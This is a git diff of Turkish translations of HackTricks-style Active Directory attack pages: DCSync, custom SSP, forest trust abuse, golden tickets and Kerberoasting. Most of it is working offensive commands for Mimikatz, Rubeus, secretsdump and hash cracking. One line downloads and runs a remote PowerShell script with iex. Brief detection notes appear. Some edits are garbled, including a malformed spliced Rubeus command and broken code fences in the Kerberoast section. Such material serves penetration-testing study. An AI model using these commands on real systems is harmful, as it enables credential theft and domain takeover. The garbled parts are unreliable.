yolları** vardır; bunlar arasında Yazıcı Hatası, kısıtlanmamış delegasyon, NTLM ile iletim ve Active Directory Sertifika Servisi istismarı bulunmaktadır. +> Bilgisayarda SYSTEM olmadan **TGT bileti** veya **RC4** ya da **AES256** elde etmenin **başka yolları** vardır; bunlar arasında Yazıcı Hatası, kısıtlanmamış delegasyon, NTLM ile yönlendirme ve Active Directory Sertifika Servisi istismarı bulunmaktadır. > -> **Sadece bu TGT biletine (veya hash'ine) sahip olarak, tüm bilgisayarı tehlikeye atmadan bu saldırıyı gerçekleştirebilirsiniz.** +> **Sadece o TGT biletine (veya hash'ine) sahip olarak, tüm bilgisayarı tehlikeye atmadan bu saldırıyı gerçekleştirebilirsiniz.** + +- Adım 2: **Kullanıcıyı taklit eden hizmet için TGS alın** ```bash:Using Rubeus -#Obtain a TGS of the Administrator user to self +# Obtain a TGS of the Administrator user to self .\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /impersonateuser:Administrator /outfile:TGS_administrator -#Obtain service TGS impersonating Administrator (CIFS) +# Obtain service TGS impersonating Administrator (CIFS) .\Rubeus.exe s4u /ticket:TGT_websvc.kirbi /tgs:TGS_administrator_Administrator@DOLLARCORP.MONEYCORP.LOCAL_to_websvc@DOLLARCORP.MONEYCORP.LOCAL /msdsspn:"CIFS/dcorp-mssql.dollarcorp.moneycorp.local" /outfile:TGS_administrator_CIFS #Impersonate Administrator on different service (HOST) diff --git a/src/windows-hardening/active-directory-methodology/custom-ssp.md b/src/windows-hardening/active-directory-methodology/custom-ssp.md index d7e2c6c7b..71072dd14 100644 --- a/src/windows-hardening/active-directory-methodology/custom-ssp.md +++ b/src/windows-hardening/active-directory-methodology/custom-ssp.md @@ -10,7 +10,7 @@ Kendi **SSP'nizi** oluşturabilirsiniz, böylece makineye erişim için kullanı #### Mimilib Mimikatz tarafından sağlanan `mimilib.dll` ikili dosyasını kullanabilirsiniz. **Bu, tüm kimlik bilgilerini düz metin olarak bir dosyaya kaydedecektir.**\ -Dll dosyasını `C:\Windows\System32\` dizinine bırakın.\ +Dll'yi `C:\Windows\System32\` dizinine bırakın.\ Mevcut LSA Güvenlik Paketlerinin bir listesini alın: ```bash:attacker@target PS C:\> reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages" @@ -19,7 +19,7 @@ HKEY_LOCAL_MACHINE\system\currentcontrolset\control\lsa Security Packages REG_MULTI_SZ kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u ``` `mimilib.dll`'yi Güvenlik Destek Sağlayıcı listesine (Güvenlik Paketleri) ekleyin: -```powershell +```bash reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages" ``` Ve bir yeniden başlatmadan sonra tüm kimlik bilgileri `C:\Windows\System32\kiwissp.log` dosyasında düz metin olarak bulunabilir. @@ -27,7 +27,7 @@ Ve bir yeniden başlatmadan sonra tüm kimlik bilgileri `C:\Windows\System32\kiw #### Bellekte Bunu doğrudan belleğe Mimikatz kullanarak da enjekte edebilirsiniz (biraz kararsız/çalışmayabileceğini unutmayın): -```powershell +```bash privilege::debug misc::memssp ``` diff --git a/src/windows-hardening/active-directory-methodology/dcsync.md b/src/windows-hardening/active-directory-methodology/dcsync.md index da2aa78f1..e6695a68b 100644 --- a/src/windows-hardening/active-directory-methodology/dcsync.md +++ b/src/windows-hardening/active-directory-methodology/dcsync.md @@ -6,24 +6,24 @@ **DCSync** izni, alanın kendisi üzerinde bu izinlere sahip olmayı gerektirir: **DS-Replication-Get-Changes**, **Replicating Directory Changes All** ve **Replicating Directory Changes In Filtered Set**. -**DCSync ile ilgili Önemli Notlar:** +**DCSync ile İlgili Önemli Notlar:** -- **DCSync saldırısı, bir Domain Controller'ın davranışını simüle eder ve diğer Domain Controller'lardan bilgileri çoğaltmalarını ister** Directory Replication Service Remote Protocol (MS-DRSR) kullanarak. MS-DRSR, Active Directory'nin geçerli ve gerekli bir işlevi olduğundan, kapatılamaz veya devre dışı bırakılamaz. +- **DCSync saldırısı, bir Domain Controller'ın davranışını simüle eder ve diğer Domain Controller'lardan bilgileri çoğaltmalarını ister**; bu işlem Directory Replication Service Remote Protocol (MS-DRSR) kullanılarak gerçekleştirilir. MS-DRSR, Active Directory'nin geçerli ve gerekli bir işlevi olduğundan, kapatılamaz veya devre dışı bırakılamaz. - Varsayılan olarak yalnızca **Domain Admins, Enterprise Admins, Administrators ve Domain Controllers** grupları gerekli ayrıcalıklara sahiptir. - Herhangi bir hesap parolası tersine çevrilebilir şifreleme ile saklanıyorsa, Mimikatz'ta parolayı düz metin olarak döndürmek için bir seçenek mevcuttur. ### Enumeration Bu izinlere kimin sahip olduğunu kontrol etmek için `powerview`: -```powershell +```bash Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll') -or ($_.ActiveDirectoryRights -match 'WriteDacl')} ``` ### Yerel Olarak Sömürme -```powershell +```bash Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"' ``` ### Uzaktan Sömürme -```powershell +```bash secretsdump.py -just-dc :@ -outputfile dcsync_hashes [-just-dc-user ] #To get only of that user [-pwd-last-set] #To see when each account's password was last changed @@ -35,26 +35,26 @@ secretsdump.py -just-dc :@ -outputfile dcsync_hashes - biri **Kerberos anahtarları** ile - biri de [**tersine şifreleme**](https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/store-passwords-using-reversible-encryption) etkin olan herhangi bir hesap için NTDS'den düz metin şifreleri ile. Tersine şifreleme ile kullanıcıları şu şekilde alabilirsiniz: -```powershell +```bash Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} |select samaccountname,useraccountcontrol ``` ### Süreklilik Eğer bir alan yöneticisiyseniz, bu izinleri `powerview` yardımıyla herhangi bir kullanıcıya verebilirsiniz: -```powershell +```bash Add-ObjectAcl -TargetDistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -PrincipalSamAccountName username -Rights DCSync -Verbose ``` -Sonra, kullanıcının 3 ayrıcalığın doğru bir şekilde atanıp atanmadığını **kontrol edebilirsiniz** (ayrıcalıkların adlarını "ObjectType" alanında görebilmelisiniz): -```powershell +Sonra, **kullanıcının 3 ayrıcalığın doğru bir şekilde atanıp atanmadığını kontrol edebilirsiniz** (ayrıcalıkların isimlerini "ObjectType" alanında görebilmelisiniz) çıktıda arayarak: +```bash Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{$_.IdentityReference -match "student114"} ``` ### Mitigation -- Security Event ID 4662 (Nesne için Denetim Politikası etkin olmalıdır) – Bir nesne üzerinde bir işlem gerçekleştirildi -- Security Event ID 5136 (Nesne için Denetim Politikası etkin olmalıdır) – Bir dizin hizmeti nesnesi değiştirildi -- Security Event ID 4670 (Nesne için Denetim Politikası etkin olmalıdır) – Bir nesne üzerindeki izinler değiştirildi -- AD ACL Scanner - ACL'lerin raporlarını oluşturun ve karşılaştırın. [https://github.com/canix1/ADACLScanner](https://github.com/canix1/ADACLScanner) +- Güvenlik Olayı ID 4662 (Nesne için Denetim Politikası etkin olmalıdır) – Bir nesne üzerinde bir işlem gerçekleştirildi +- Güvenlik Olayı ID 5136 (Nesne için Denetim Politikası etkin olmalıdır) – Bir dizin hizmeti nesnesi değiştirildi +- Güvenlik Olayı ID 4670 (Nesne için Denetim Politikası etkin olmalıdır) – Bir nesne üzerindeki izinler değiştirildi +- AD ACL Tarayıcı - ACL'lerin raporlarını oluşturun ve karşılaştırın. [https://github.com/canix1/ADACLScanner](https://github.com/canix1/ADACLScanner) ## References diff --git a/src/windows-hardening/active-directory-methodology/external-forest-domain-one-way-outbound.md b/src/windows-hardening/active-directory-methodology/external-forest-domain-one-way-outbound.md index 4cd90e55b..62bc541e7 100644 --- a/src/windows-hardening/active-directory-methodology/external-forest-domain-one-way-outbound.md +++ b/src/windows-hardening/active-directory-methodology/external-forest-domain-one-way-outbound.md @@ -7,7 +7,7 @@ Bu senaryoda **alanınız** **farklı alanlardan** bir **prensipe** bazı **yetk ## Sayım ### Çıkış Güveni -```powershell +```bash # Notice Outbound trust Get-DomainTrust SourceName : root.local @@ -32,15 +32,15 @@ MemberDistinguishedName : CN=S-1-5-21-1028541967-2937615241-1935644758-1115,CN=F Bir güvenlik açığı, iki alan arasında bir güven ilişkisi kurulduğunda ortaya çıkar; burada alan **A** ve alan **B** olarak tanımlanmıştır. Alan **B**, alan **A**'ya güvenini genişletir. Bu yapılandırmada, alan **B** için alan **A**'da özel bir hesap oluşturulur ve bu hesap, iki alan arasındaki kimlik doğrulama sürecinde kritik bir rol oynar. Alan **B** ile ilişkilendirilen bu hesap, alanlar arasında hizmetlere erişim için biletleri şifrelemek amacıyla kullanılır. -Burada anlaşılması gereken kritik nokta, bu özel hesabın şifresi ve hash'inin, alan **A**'daki bir Domain Controller'dan bir komut satırı aracı kullanılarak çıkarılabileceğidir. Bu işlemi gerçekleştirmek için kullanılan komut şudur: -```powershell +Burada anlaşılması gereken kritik nokta, bu özel hesabın şifresi ve hash'inin, alan **A**'daki bir Alan Denetleyicisinden bir komut satırı aracı kullanılarak çıkarılabileceğidir. Bu işlemi gerçekleştirmek için kullanılan komut şudur: +```bash Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.local ``` -Bu çıkarım, adının sonunda **$** ile belirtilen hesabın aktif olması ve **A** alanının "Domain Users" grubuna ait olması nedeniyle mümkündür; bu da bu grubun ilişkili izinlerini miras almasını sağlar. Bu, bireylerin bu hesabın kimlik bilgilerini kullanarak **A** alanına kimlik doğrulaması yapmalarına olanak tanır. +Bu çıkarım, adının sonunda **$** ile belirtilen hesabın aktif olması ve **A** alanının "Domain Users" grubuna ait olması nedeniyle mümkündür; bu da bu grupla ilişkili izinleri miras almasını sağlar. Bu, bireylerin bu hesabın kimlik bilgilerini kullanarak **A** alanına kimlik doğrulaması yapmalarına olanak tanır. **Uyarı:** Bu durumu, sınırlı izinlerle de olsa bir kullanıcı olarak **A** alanında bir yer edinmek için kullanmak mümkündür. Ancak, bu erişim **A** alanında numaralandırma yapmak için yeterlidir. -`ext.local` güvenen alan ve `root.local` güvenilen alan olduğunda, `root.local` içinde `EXT$` adında bir kullanıcı hesabı oluşturulacaktır. Belirli araçlar aracılığıyla, Kerberos güven anahtarlarını dökerek `root.local` içindeki `EXT$` kimlik bilgilerini açığa çıkarmak mümkündür. Bunu başarmak için kullanılan komut şudur: +`ext.local` güvenen alan ve `root.local` güvenilen alan olduğunda, `root.local` içinde `EXT$` adında bir kullanıcı hesabı oluşturulacaktır. Belirli araçlar aracılığıyla, Kerberos güven ilişkisi anahtarlarını dökerek `root.local` içindeki `EXT$` kimlik bilgilerini açığa çıkarmak mümkündür. Bunu başarmak için kullanılan komut: ```bash lsadump::trust /patch ``` diff --git a/src/windows-hardening/active-directory-methodology/external-forest-domain-oneway-inbound.md b/src/windows-hardening/active-directory-methodology/external-forest-domain-oneway-inbound.md index 126bfce7f..18eeb09dc 100644 --- a/src/windows-hardening/active-directory-methodology/external-forest-domain-oneway-inbound.md +++ b/src/windows-hardening/active-directory-methodology/external-forest-domain-oneway-inbound.md @@ -2,12 +2,12 @@ {{#include ../../banners/hacktricks-training.md}} -Bu senaryoda bir dış alan size güveniyor (veya her ikisi de birbirine güveniyor), bu nedenle üzerinde bir tür erişim elde edebilirsiniz. +Bu senaryoda, bir dış alan size güveniyor (veya her ikisi de birbirine güveniyor), bu nedenle üzerinde bir tür erişim elde edebilirsiniz. ## Sayım Öncelikle, **güveni** **saymalısınız**: -```powershell +```bash Get-DomainTrust SourceName : a.domain.local --> Current domain TargetName : domain.external --> Destination domain @@ -56,14 +56,14 @@ IsDomain : True # You may also enumerate where foreign groups and/or users have been assigned # local admin access via Restricted Group by enumerating the GPOs in the foreign domain. ``` -Önceki sayımda, **`crossuser`** kullanıcısının **harici alanın** **DC'sinde** **Admin erişimi** olan **`External Admins`** grubunun içinde olduğu bulundu. +Önceki numaralandırmada, **`crossuser`** kullanıcısının **dış alanın DC'sinde** **Admin erişimi** olan **`External Admins`** grubunun içinde olduğu bulundu. ## İlk Erişim -Eğer diğer alandaki kullanıcınızın herhangi bir **özel** erişimini **bulamadıysanız**, yine de AD Metodolojisine geri dönebilir ve **yetkisiz bir kullanıcıdan privesc** denemesi yapabilirsiniz (örneğin kerberoasting gibi): +Eğer diğer alandaki kullanıcınızın herhangi bir **özel** erişimini bulamadıysanız, AD Metodolojisine geri dönebilir ve **yetkisiz bir kullanıcıdan privesc** denemeye çalışabilirsiniz (örneğin kerberoasting gibi): -**Powerview fonksiyonlarını** kullanarak `-Domain` parametresi ile **diğer alanı** **sayım** yapmak için: -```powershell +**Powerview fonksiyonlarını** kullanarak `-Domain` parametresi ile **diğer alanı** **numaralandırabilirsiniz**: +```bash Get-DomainUser -SPN -Domain domain_name.local | select SamAccountName ``` {{#ref}} @@ -75,23 +75,23 @@ Get-DomainUser -SPN -Domain domain_name.local | select SamAccountName ### Giriş Yapma Dış domaine erişimi olan kullanıcıların kimlik bilgileriyle normal bir yöntem kullanarak erişim sağlamalısınız: -```powershell +```bash Enter-PSSession -ComputerName dc.external_domain.local -Credential domain\administrator ``` ### SID Tarihi İstismarı Bir orman güveni üzerinden [**SID Tarihi**](sid-history-injection.md) istismar edebilirsiniz. -Eğer bir kullanıcı **bir ormandan diğerine** taşınmışsa ve **SID Filtreleme etkin değilse**, **diğer ormandan bir SID eklemek** mümkün hale gelir ve bu **SID**, **güven üzerinden** kimlik doğrulama sırasında **kullanıcının jetonuna** **eklenecektir**. +Bir kullanıcı **bir ormandan diğerine** taşındığında ve **SID Filtrelemesi etkin değilse**, **diğer ormandan bir SID eklemek** mümkün hale gelir ve bu **SID**, **güven üzerinden** kimlik doğrulama sırasında **kullanıcının jetonuna** **eklenecektir**. > [!WARNING] > Hatırlatmak gerekirse, imza anahtarını şu şekilde alabilirsiniz: > -> ```powershell +> ```bash > Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.domain.local > ``` -Mevcut alanın kullanıcısını taklit eden bir **TGT**'yi **güvenilir** anahtarla **imzalayabilirsiniz**. +Mevcut alanın kullanıcısını taklit eden bir **TGT'yi** **güvenilir** anahtarla **imzalayabilirsiniz**. ```bash # Get a TGT for the cross-domain privileged user to the other domain Invoke-Mimikatz -Command '"kerberos::golden /user: /domain: /SID: /rc4: /target: /ticket:C:\path\save\ticket.kirbi"' diff --git a/src/windows-hardening/active-directory-methodology/golden-ticket.md b/src/windows-hardening/active-directory-methodology/golden-ticket.md index 8cda1107e..afa8b5ad7 100644 --- a/src/windows-hardening/active-directory-methodology/golden-ticket.md +++ b/src/windows-hardening/active-directory-methodology/golden-ticket.md @@ -4,11 +4,11 @@ ## Golden ticket -Bir **Golden Ticket** saldırısı, **NTLM hash'ini kullanarak herhangi bir kullanıcıyı taklit eden meşru bir Ticket Granting Ticket (TGT) oluşturma** işleminden oluşur. Bu teknik, taklit edilen kullanıcı olarak **alan içindeki herhangi bir hizmete veya makineye erişim sağladığı** için özellikle avantajlıdır. **krbtgt hesabının kimlik bilgileri asla otomatik olarak güncellenmez** olduğunu hatırlamak önemlidir. +Bir **Golden Ticket** saldırısı, **NTLM hash'ini kullanarak herhangi bir kullanıcıyı taklit eden meşru bir Ticket Granting Ticket (TGT) oluşturma** işlemini içerir. Bu teknik, taklit edilen kullanıcı olarak **alan içindeki herhangi bir hizmete veya makineye erişim sağladığı** için özellikle avantajlıdır. **krbtgt hesabının kimlik bilgileri asla otomatik olarak güncellenmez** olduğunu hatırlamak önemlidir. -**krbtgt hesabının NTLM hash'ini elde etmek** için çeşitli yöntemler kullanılabilir. Bu hash, alan içindeki herhangi bir Domain Controller (DC) üzerindeki **Local Security Authority Subsystem Service (LSASS) sürecinden** veya **NT Directory Services (NTDS.dit) dosyasından** çıkarılabilir. Ayrıca, bu NTLM hash'ini elde etmek için **DCsync saldırısı gerçekleştirmek** de başka bir stratejidir; bu, Mimikatz'taki **lsadump::dcsync modülü** veya Impacket tarafından sağlanan **secretsdump.py scripti** gibi araçlar kullanılarak yapılabilir. Bu işlemleri gerçekleştirmek için genellikle **alan yöneticisi ayrıcalıkları veya benzer bir erişim seviyesi gereklidir**. +**krbtgt hesabının NTLM hash'ini elde etmek** için çeşitli yöntemler kullanılabilir. Bu hash, **Yerel Güvenlik Otoritesi Alt Sistemi Hizmeti (LSASS) sürecinden** veya alan içindeki herhangi bir Alan Denetleyicisi (DC) üzerinde bulunan **NT Dizin Hizmetleri (NTDS.dit) dosyasından** çıkarılabilir. Ayrıca, **DCsync saldırısı gerçekleştirmek**, bu NTLM hash'ini elde etmenin bir başka stratejisidir; bu, Mimikatz'taki **lsadump::dcsync modülü** veya Impacket tarafından sağlanan **secretsdump.py scripti** gibi araçlar kullanılarak yapılabilir. Bu işlemleri gerçekleştirmek için genellikle **alan yöneticisi ayrıcalıkları veya benzer bir erişim seviyesi gereklidir**. -NTLM hash'i bu amaç için geçerli bir yöntem olsa da, operasyonel güvenlik nedenleriyle **Gelişmiş Şifreleme Standardı (AES) Kerberos anahtarlarını (AES128 ve AES256)** kullanarak biletlerin **sahte belgelenmesi** şiddetle tavsiye edilir. +NTLM hash'i bu amaç için geçerli bir yöntem olsa da, operasyonel güvenlik nedenleriyle **Gelişmiş Şifreleme Standardı (AES) Kerberos anahtarlarını (AES128 ve AES256)** kullanarak biletleri **sahtelemek** şiddetle tavsiye edilir. ```bash:From Linux python ticketer.py -nthash 25b2076cda3bfd6209161a6c78a69c1c -domain-sid S-1-5-21-1339291983-1349129144-367733775 -domain jurassic.park stegosaurus export KRB5CCNAME=/root/impacket-examples/stegosaurus.ccache @@ -16,6 +16,12 @@ python psexec.py jurassic.park/stegosaurus@lab-wdc02.jurassic.park -k -no-pass ``` ```bash:From Windows +# Rubeus +## The /ldap command will get the details from the LDAP (so you don't need to put the SID) +## The /printcmd option will print the complete command if later you want to generate a token offline +.\Rubeus.exe asktgt /user:Rubeus.exe golden /rc4: /domain: /sid: /sids:-519 /user:Administrator /ptt /ldap /nowrap /printcmd + +/rc4:25b2076cda3bfd6209161a6c78a69c1c /domain:jurassic.park /ptt #mimikatz kerberos::golden /User:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt .\Rubeus.exe ptt /ticket:ticket.kirbi @@ -28,7 +34,7 @@ kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1 ### Yaygın tespitleri atlatma -Golden ticket'ı tespit etmenin en yaygın yolları, kablolu ağda **Kerberos trafiğini incelemektir**. Varsayılan olarak, Mimikatz **TGT'yi 10 yıl boyunca imzalar**, bu da onunla yapılan sonraki TGS isteklerinde anormal olarak öne çıkacaktır. +Golden ticket'ı tespit etmenin en yaygın yolları, **ağdaki Kerberos trafiğini incelemektir**. Varsayılan olarak, Mimikatz **TGT'yi 10 yıl boyunca imzalar**, bu da onunla yapılan sonraki TGS isteklerinde anormal olarak öne çıkacaktır. `Lifetime : 3/11/2021 12:39:57 PM ; 3/9/2031 12:39:57 PM ; 3/9/2031 12:39:57 PM` @@ -36,21 +42,21 @@ Başlangıç ofsetini, süreyi ve maksimum yenilemeleri kontrol etmek için `/st ``` Get-DomainPolicy | select -expand KerberosPolicy ``` -Maalesef, TGT'nin ömrü 4769'da kaydedilmediği için bu bilgiyi Windows olay günlüklerinde bulamazsınız. Ancak, **önceki 4768 olmadan 4769 görmek** ile ilişkilendirebilirsiniz. **TGT olmadan TGS talep etmek mümkün değildir** ve eğer bir TGT'nin verildiğine dair bir kayıt yoksa, bunun çevrimdışı olarak sahte olduğu sonucuna varabiliriz. +Üzgünüm, TGT'nin ömrü 4769'da kaydedilmediği için bu bilgiyi Windows olay günlüklerinde bulamazsınız. Ancak, **önceki 4768 olmadan 4769 görmek** ile ilişkilendirebileceğiniz bir şey var. **TGT olmadan bir TGS talep etmek mümkün değildir** ve eğer bir TGT'nin verildiğine dair bir kayıt yoksa, bunun çevrimdışı olarak sahte olduğunu çıkarabiliriz. -Bu **tespit bypass'ını** gerçekleştirmek için elmas biletlerini kontrol edin: +Bu **tespitleri atlamak için** elmas biletlerini kontrol edin: {{#ref}} diamond-ticket.md {{#endref}} -### Mitigasyon +### Azaltma - 4624: Hesap Girişi - 4672: Yönetici Girişi - `Get-WinEvent -FilterHashtable @{Logname='Security';ID=4672} -MaxEvents 1 | Format-List –Property` -Savunucuların yapabileceği diğer küçük numaralar, **varsayılan etki alanı yöneticisi hesabı gibi hassas kullanıcılar için 4769'da uyarı vermektir**. +Savunucuların yapabileceği diğer küçük hileler, **varsayılan etki alanı yöneticisi hesabı gibi hassas kullanıcılar için 4769'da uyarı vermektir**. ## Referanslar diff --git a/src/windows-hardening/active-directory-methodology/kerberoast.md b/src/windows-hardening/active-directory-methodology/kerberoast.md index f3cf665a2..6f7808141 100644 --- a/src/windows-hardening/active-directory-methodology/kerberoast.md +++ b/src/windows-hardening/active-directory-methodology/kerberoast.md @@ -4,7 +4,7 @@ ## Kerberoast -Kerberoasting, **Active Directory (AD)** altında **kullanıcı hesapları** ile çalışan hizmetlere ait **TGS biletlerinin** edinilmesine odaklanır; **bilgisayar hesapları** hariçtir. Bu biletlerin şifrelemesi, **kullanıcı şifrelerinden** kaynaklanan anahtarları kullanır ve bu da **çevrimdışı kimlik bilgisi kırma** olasılığını sağlar. Bir kullanıcı hesabının hizmet olarak kullanıldığı, boş olmayan bir **"ServicePrincipalName"** özelliği ile belirtilir. +Kerberoasting, **Active Directory (AD)** altında çalışan **kullanıcı hesapları** ile ilgili olan **TGS biletlerinin** edinilmesine odaklanır; **bilgisayar hesapları** hariçtir. Bu biletlerin şifrelemesi, **kullanıcı şifreleri** kaynaklı anahtarlar kullanır ve bu da **çevrimdışı kimlik bilgisi kırma** olasılığını sağlar. Bir hizmetin, boş olmayan bir **"ServicePrincipalName"** özelliği ile gösterildiği belirtilir. **Kerberoasting** gerçekleştirmek için, **TGS biletleri** talep edebilen bir alan hesabı gereklidir; ancak bu süreç **özel ayrıcalıklar** talep etmez, bu da **geçerli alan kimlik bilgilerine** sahip herkesin erişimine açık olduğu anlamına gelir. @@ -19,132 +19,154 @@ Kerberoasting, **Active Directory (AD)** altında **kullanıcı hesapları** ile > [!WARNING] > **Kerberoasting araçları**, saldırıyı gerçekleştirirken ve TGS-REQ talepleri başlatırken genellikle **`RC4 şifrelemesi`** talep eder. Bunun nedeni, **RC4'ün** [**daha zayıf**](https://www.stigviewer.com/stig/windows_10/2017-04-28/finding/V-63795) olması ve Hashcat gibi araçlar kullanılarak çevrimdışı kırılmasının diğer şifreleme algoritmaları olan AES-128 ve AES-256'dan daha kolay olmasıdır.\ -> RC4 (tip 23) hash'leri **`$krb5tgs$23$*`** ile başlarken, AES-256 (tip 18) **`$krb5tgs$18$*`** ile başlar.` +> RC4 (tip 23) hash'leri **`$krb5tgs$23$*`** ile başlarken, AES-256 (tip 18) **`$krb5tgs$18$*`** ile başlar.\ +> Ayrıca, dikkatli olun çünkü `Rubeus.exe kerberoast` tüm savunmasız hesaplar üzerinden otomatik olarak bilet talep eder ve bu sizi tespit ettirir. Öncelikle ilginç ayrıcalıklara sahip kerberoastable kullanıcıları bulun ve ardından yalnızca onların üzerinde çalıştırın. +```bash #### **Linux** + ```bash # Metasploit framework msf> use auxiliary/gather/get_user_spns # Impacket -GetUserSPNs.py -request -dc-ip / -outputfile hashes.kerberoast # Password will be prompted +GetUserSPNs.py -request -dc-ip / -outputfile hashes.kerberoast # Şifre istenecektir GetUserSPNs.py -request -dc-ip -hashes : / -outputfile hashes.kerberoast # kerberoast: https://github.com/skelsec/kerberoast -kerberoast ldap spn 'ldap+ntlm-password://\:@' -o kerberoastable # 1. Enumerate kerberoastable users -kerberoast spnroast 'kerberos+password://\:@' -t kerberoastable_spn_users.txt -o kerberoast.hashes # 2. Dump hashes +kerberoast ldap spn 'ldap+ntlm-password://\:@' -o kerberoastable # 1. Kerberoastable kullanıcıları listele +kerberoast spnroast 'kerberos+password://\:@' -t kerberoastable_spn_users.txt -o kerberoast.hashes # 2. Hash'leri dök ``` -Kerberoastable kullanıcıların dökümünü içeren çok özellikli araçlar: + +Multi-features tools including a dump of kerberoastable users: + ```bash # ADenum: https://github.com/SecuProject/ADenum adenum -d -ip -u -p -c ``` + #### Windows -- **Kerberoastable kullanıcıları listele** -```powershell -# Get Kerberoastable users -setspn.exe -Q */* #This is a built-in binary. Focus on user accounts +- **Enumerate Kerberoastable users** + +```bash +# Kerberoastable kullanıcıları al +setspn.exe -Q */* #Bu yerleşik bir ikili dosyadır. Kullanıcı hesaplarına odaklanın Get-NetUser -SPN | select serviceprincipalname #Powerview .\Rubeus.exe kerberoast /stats ``` -- **Teknik 1: TGS isteyin ve bellekten dökün** -```powershell -#Get TGS in memory from a single user -Add-Type -AssemblyName System.IdentityModel -New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "ServicePrincipalName" #Example: MSSQLSvc/mgmt.domain.local -#Get TGSs for ALL kerberoastable accounts (PCs included, not really smart) +- **Technique 1: Ask for TGS and dump it from memory** + +```bash +#Tek bir kullanıcıdan bellekte TGS alın +Add-Type -AssemblyName System.IdentityModel +New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "ServicePrincipalName" #Örnek: MSSQLSvc/mgmt.domain.local + +#Tüm kerberoastable hesaplar için TGS'leri al (PC'ler dahil, pek akıllıca değil) setspn.exe -T DOMAIN_NAME.LOCAL -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() } -#List kerberos tickets in memory +#Bellekteki kerberos biletlerini listele klist -# Extract them from memory -Invoke-Mimikatz -Command '"kerberos::list /export"' #Export tickets to current folder +# Bellekten çıkar +Invoke-Mimikatz -Command '"kerberos::list /export"' #Biletleri mevcut klasöre dışa aktar -# Transform kirbi ticket to john +# kirbi biletini john'a dönüştür python2.7 kirbi2john.py sqldev.kirbi -# Transform john to hashcat +# john'u hashcat'e dönüştür sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$\*\1\*\$\2/' crack_file > sqldev_tgs_hashcat ``` -- **Teknik 2: Otomatik araçlar** + +- **Technique 2: Automatic tools** + ```bash -# Powerview: Get Kerberoast hash of a user -Request-SPNTicket -SPN "" -Format Hashcat #Using PowerView Ex: MSSQLSvc/mgmt.domain.local -# Powerview: Get all Kerberoast hashes +# Powerview: Bir kullanıcının Kerberoast hash'ini al +Request-SPNTicket -SPN "" -Format Hashcat #PowerView Kullanımı Ör: MSSQLSvc/mgmt.domain.local +# Powerview: Tüm Kerberoast hash'lerini al Get-DomainUser * -SPN | Get-DomainSPNTicket -Format Hashcat | Export-Csv .\kerberoast.csv -NoTypeInformation # Rubeus .\Rubeus.exe kerberoast /outfile:hashes.kerberoast -.\Rubeus.exe kerberoast /user:svc_mssql /outfile:hashes.kerberoast #Specific user -.\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap #Get of admins +.\Rubeus.exe kerberoast /user:svc_mssql /outfile:hashes.kerberoast #Belirli kullanıcı +.\Rubeus.exe kerberoast /ldapfilter:'admincount=1' /nowrap #Yönetici al # Invoke-Kerberoast iex (new-object Net.WebClient).DownloadString("https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Kerberoast.ps1") Invoke-Kerberoast -OutputFormat hashcat | % { $_.Hash } | Out-File -Encoding ASCII hashes.kerberoast ``` -> [!WARNING] -> Bir TGS talep edildiğinde, Windows olayı `4769 - Bir Kerberos hizmet bileti talep edildi` oluşturulur. -### Kırma +> [!WARNING] +> When a TGS is requested, Windows event `4769 - A Kerberos service ticket was requested` is generated. + +### Cracking + ```bash -john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast -hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt +john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast +hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt ./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi ``` -### Süreklilik -Eğer bir kullanıcı üzerinde **yeterli izinleriniz** varsa, onu **kerberoastable** hale getirebilirsiniz: +### Persistence + +If you have **enough permissions** over a user you can **make it kerberoastable**: + ```bash Set-DomainObject -Identity -Set @{serviceprincipalname='just/whateverUn1Que'} -verbose ``` -Burada **kerberoast** saldırıları için faydalı **araçlar** bulabilirsiniz: [https://github.com/nidem/kerberoast](https://github.com/nidem/kerberoast) -Eğer Linux'ta bu **hata** ile karşılaşırsanız: **`Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)`** bu, yerel saatinizle ilgilidir, hostu DC ile senkronize etmeniz gerekir. Birkaç seçenek var: +You can find useful **tools** for **kerberoast** attacks here: [https://github.com/nidem/kerberoast](https://github.com/nidem/kerberoast) -- `ntpdate ` - Ubuntu 16.04 itibarıyla kullanımdan kaldırılmıştır. -- `rdate -n ` +If you find this **error** from Linux: **`Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)`** it because of your local time, you need to synchronise the host with the DC. There are a few options: -### Mitigasyon +- `ntpdate ` - Deprecated as of Ubuntu 16.04 +- `rdate -n ` -Kerberoasting, 